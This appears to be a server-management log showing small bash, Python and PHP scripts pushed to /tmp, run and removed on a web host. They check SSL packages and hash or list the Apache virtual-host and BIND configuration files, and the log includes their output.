bin(/usr/local/nagios/libexec/check_wave)= 43eebe3022fa6667f5ff578067dc4c0d
bin(/usr/local/nagios/libexec/check_simap)= fd2884d39bd5ca4171338057c45d0936
bin(/usr/local/nagios/libexec/check_users)= 9c8ca7b5b64407598bef6b769062090c
bin(/usr/local/nagios/libexec/check_rpc)= 6511971a137e9df4658da51f8f892e76
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_oracle)= 4b3e86763d33cb262524bc3ee4bea311
bin(/usr/local/nagios/libexec/check_php.php)= e6599d9e81018dcef125f7d7e05beaf9
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5


2026-06-11 00:31:25: 

PUT: /tmp/pkp593934

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-06-11 00:31:25: 

chmod 755 /tmp/pkp593934; /tmp/pkp593934; rm /tmp/pkp593934

2026-06-11 00:31:25: 


status=ok


2026-06-11 00:31:25: 

PUT: /tmp/pkp540995

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-11 00:31:26: 

chmod 755 /tmp/pkp540995; /tmp/pkp540995; rm /tmp/pkp540995

2026-06-11 00:31:26: 
2026-06-11 00:31:26: 

PUT: /tmp/pkp712381

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/anassnamedgrace_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-11 00:31:26: 

chmod 755 /tmp/pkp712381; /tmp/pkp712381; rm /tmp/pkp712381

2026-06-11 00:31:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/anassnamedgrace_www_com.conf	517

<VirtualHost *:80>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/anassnamedgrace/www_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/drewmarshall_audio_ca.conf)= 22d8357d9cce5e6bcf2e85b6b1281b08
MD5(/etc/ssl/certs/33fbf8d7936a8c67fb764b1ea4759d7a.crt)= f7e519c0109a23fb79879991255db580
MD5(/etc/apache2/sites-available/drewmarshall_soulsurvivor_ca.conf)= 8166627ceae313f355153c8125d9da37
MD5(/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt)= b46a3181492d1541403ddc620e08485f
MD5(/etc/apache2/sites-available/bucketgigs_www_ca.conf)= 158f403d5a915a7f62aa737f42f69b2d
MD5(/etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt)= c4519d4ed2f35d748c45752387618088
MD5(/etc/apache2/sites-available/dgmarshall_www_ca.conf)= 3c89aebb4968fdfc28382b74bf36bc10
MD5(/etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt)= 3206a9b6022c07e39d15ac83feaa8106
MD5(/etc/apache2/sites-available/hillrunfarm_www_ca.conf)= 05ab5b23b6d57df119a4873e563dadfc
MD5(/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt)= ab4856e1201daadfca842c05aa62efc8
MD5(/etc/apache2/sites-available/anassnamedgrace_www_com.conf)= b8d43dae0315bdbac91ce065186ca802
MD5(/etc/apache2/sites-available/drewmarshall_datinggame_ca.conf)= ebbdb34ad2f362df48307d46789d9a97
MD5(/etc/ssl/certs/23de9e4d8d79bf04b5d6fc34a21a5b07.crt)= b71b085928656ca6d52f901f3896e3e8
MD5(/etc/apache2/sites-available/drewmarshall_preacheridol_ca.conf)= 537f81295d0edea87734555d50bb3052
MD5(/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt)= e32a14edc6f85c3a8179aeada63beac7
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 378517eabf659f2d4c939bc2bcaf1578
MD5(/etc/apache2/sites-available/drewmarshall_caminoconfessions_ca.conf)= 13d11aee1a717ab7f0d1568d05976f14
MD5(/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt)= 4e36c37ca433619e0ed2aed323f8ec5d
MD5(/etc/apache2/sites-available/drewmarshall_www_ca.conf)= ed696aa19719c408a1f6be693b4ccc7c
MD5(/etc/ssl/certs/2c3c17c005831b4a6e867c2d7a99a9f3.crt)= 4b3b53a1dcb385a90d1757ba5f5cbc03
MD5(/etc/apache2/sites-available/ineedtosaythis_www_com.conf)= 662c372961ad6aa5d2639dbb608864e1
MD5(/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt)= f181427fc16f1634b1e385a57e6ca5db
MD5(/etc/apache2/sites-available/drewmarshall_dgm_ca.conf)= 66aca7cfcca7570702b87aee8bdbb1c7
MD5(/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt)= f2feecac1ec2b4679abc3bc47a052598
MD5(/etc/apache2/sites-available/sosretreatscanada_www_com.conf)= 22dad0a24222118b4c6f672028e333e3
MD5(/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt)= f0083b6d1ec919234396801c1c000d2e
MD5(/etc/apache2/sites-available/dgmarshall_www_com.conf)= 490697078812a3bb1edb12fbd987d526
MD5(/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt)= a634466b97da7ede4d2a66bf4bf48894
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf)= /etc/apache2/sites-available/drewmarshall_audio_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf)= /etc/apache2/sites-available/drewmarshall_soulsurvivor_ca.conf
link(/etc/apache2/sites-enabled/bucketgigs_www_ca.conf)= /etc/apache2/sites-available/bucketgigs_www_ca.conf
link(/etc/apache2/sites-enabled/dgmarshall_www_ca.conf)= /etc/apache2/sites-available/dgmarshall_www_ca.conf
link(/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf)= /etc/apache2/sites-available/hillrunfarm_www_ca.conf
link(/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf)= /etc/apache2/sites-available/anassnamedgrace_www_com.conf
link(/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf)= /etc/apache2/sites-available/drewmarshall_datinggame_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf)= /etc/apache2/sites-available/drewmarshall_preacheridol_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf)= /etc/apache2/sites-available/drewmarshall_caminoconfessions_ca.conf
link(/etc/apache2/sites-enabled/drewmarshall_www_ca.conf)= /etc/apache2/sites-available/drewmarshall_www_ca.conf
link(/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf)= /etc/apache2/sites-available/ineedtosaythis_www_com.conf
link(/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf)= /etc/apache2/sites-available/drewmarshall_dgm_ca.conf
link(/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf)= /etc/apache2/sites-available/sosretreatscanada_www_com.conf
link(/etc/apache2/sites-enabled/dgmarshall_www_com.conf)= /etc/apache2/sites-available/dgmarshall_www_com.conf




STDERR:
/tmp/pkp540995:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2026-06-11 00:31:26: Establishing a connection
2026-06-11 00:31:26: Establishing a connection
2026-06-11 00:31:27: 

PUT: /tmp/pkp176492

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-11 00:31:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp176492; rm /tmp/pkp176492'

2026-06-11 00:31:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
